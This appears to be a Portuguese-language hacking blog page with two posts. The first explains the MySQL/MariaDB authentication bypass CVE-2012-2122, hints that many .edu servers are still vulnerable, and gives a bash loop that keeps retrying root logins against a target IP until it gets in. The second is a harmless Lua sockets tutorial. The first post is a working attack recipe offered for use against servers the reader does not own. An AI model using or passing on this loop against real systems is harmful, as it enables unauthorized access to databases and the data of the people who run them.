sábado, 30 de novembro de 2013

[CVE-2012-2122] - MySQL Remote root authentication bypass

Cara, essa vulnerabilidade é antiga porém pode ser encontrada em vários servidores por aí, principalmente os .edu (só pra deixar uma dica).
Essa falha encontrada no MySQL foi encontrada pelo Sergei Golubchik (nome feio da porra), o mesmo enviou um e-mail para o oss-sec (Security vulnerability in MySQL/MariaDB sql/password.c) abordando sobre a falha conhecida como CVE-2012-2122, nesta postagem afirma o fork do MySQL (MariaDB) está vulnerável devido a token, vou tentar ser mais claro.
Bem, o que acontece é o seguinte... conforme é executado o exploit que conforme a criptografia SHA será disparado uma sequência aleatória então o valor é calculado e comparado, devido a fundição incorreta ocorrida com o token, o valor passará ser válido mesmo o memcmp() sendo diferente de zero. Então como o protocolo usa uma sequência de caracteres aleatórias há uma probabilidade de 1/256 da MariaDB considerar como uma senha correta mesmo não sendo. Agora pense no seguinte caso...
Você acabou de encontrar um servidor com a falha desse MariaDB, contando com as suas explorações e acaba encontrando um suposto usuário de login para o MySQL (como é MySQL, vai por mim, a maioria é 'root'), então você pode obter o acesso da Database sem o menos sacrifício. Fazendo as repetições de senhas uma hora terá feito o bypass na autenticação, pensando mais além... existe um exploit em Python no Exploit-DB (http://www.exploit-db.com/exploits/19092/), porém eu acho MUITO desnecessário este exploit se você está usando o sistema UNIX por que você pode simplesmente inserir o comando "FOR" para conseguir o bypass não acha? Para os newbies que não manjam do paranaue ainda, este comando é simples... Para fazer uma conexão via terminal no mysql é fácil, basta ter o MySQL instalado (apt-get install mysql-server), assim você poderá conectar-se com o seguinte comando:

$ mysql -u <usuario> --password=<senha> -h <ip do alvo>
exemplo:
$ mysql -u root --password=123SeFodeAeAdmin -h 192.168.5.1

Como a senha pode está errada um erro vai ser retornado, similar a esse:
"Access denied for user 'root'@'192.168.5.1' (using password: yes)"

Então lembrando da vulnerabilidade de inúmeras tentativas e conseguir o bypass na autenticação o comando 'FOR' que estou falando irá parar de fazer a tentativa no login apenas quando estivermos dentro, o que acha? :-)
para isso apens digite:

$ for r in $(seq 1 1000); do
> mysql -u root --password=123SeFodeAeAdmin -h 192.168.5.1
>done
Na primeira linha estou informando que para 'r' quero que repita uma sequência de 1 até 1000, na segunda linha informo: com a seguinte frase (que será lido como um comando):  mysql -u root --password=123SeFodeAeAdmin -h 192.168.5.1 (na qual é o comando para login do MySQL). Na terceira, o 'done' é apenas a chave para fechar o comando 'for' e assim ser executado. Quando cair dentro do MySQL o for irá ser cancelado automaticamente, pois ele obviamente sairá do BASH e entrará no campo MySQL :-) aí meu amigo, só fazer o tuts tuts!

quinta-feira, 28 de novembro de 2013

Socket em LUA: um pequeno require para o homem, um grande socket da humanidade #SQN

Primeiramente quero dizer que este tutorial não é meu, mas do parceiro bilibir, KoubackTr aí que manja dos paranaue, então leia aí e visite o blog dele que tem muita coisa daora lá :)

./copy && paste

Bom galera, voltando à lua, com a sugestão do ‏@slayer_owner  no twitter, vou mostrar um pouco sobre sockets nesta poderosa linguagem BRASILEIRA :)
*eu não sou professor nem tenho formação em linguagem alguma, então vou apenas dar exemplos…
1ª para chamar os modulos lua, usamos a função require() , lembrando que em lua ponto e virgula( ) é opcional   (ebaaaa rsrs)
2ª para realizar comentarios usamos um duplo hífen EX: ( — isso é um comentario )
Bind Socket:
1
2
3
4
5
6
7
8
require('socket') -- função require() chamando modulo de socket --
 
local servidor = socket.bind('127.0.0.1',8080) -- Cria ponto local na porta 8080
print ("Servidor iniciado, aguardadno conexão")
local cliente = servidor:accept() -- ACCEPT indica que o code irá aguardar uma conexão antes de fechar --
local dados = cliente:receive() -- RECEIVE indica que vamos receber os dados que o cliente informar ao bind --
 
print ("\n",dados,"\n") -- Agora vamos imprimir estes dados --
Connect Socket:
1
2
3
4
5
6
7
8
9
10
11
12
13
require('socket') -- novamente função require() e modulo socket --
 
local cliente = socket.connect('127.0.0.1',8080) -- conectando ao servidor que criamos, socket.connect()--
-- CONDIÇÃO: servidor online ou offline --
if cliente then
print("[*]CONECTADO AO SERVIDOR") -- ON [vai para o input de dado]
else
print("[!]Servidor DOWN\n") -- OFF
os.exit() -- função de saida, caso o servidor esteja DOWN --
end
 
print("Informe algum dado para o servidor:")
cliente:send(io.read()..'\n') -- io.read para input de dado (stdin,scanf etc..) e SEND quer dizer que este dado será enviado para o servidor --
Http Request:
1
2
3
4
5
6
7
8
require('socket.http') -- musou o modulo --
 
print('[ Informe a URL (ex: http://www.google.com/index.html) ]')
print('[ Use sempre http:// ]\n')
local url = io.read() -- para input de dados --
 
resposta = socket.http.request(url)
print(resposta) -- imprime resposta --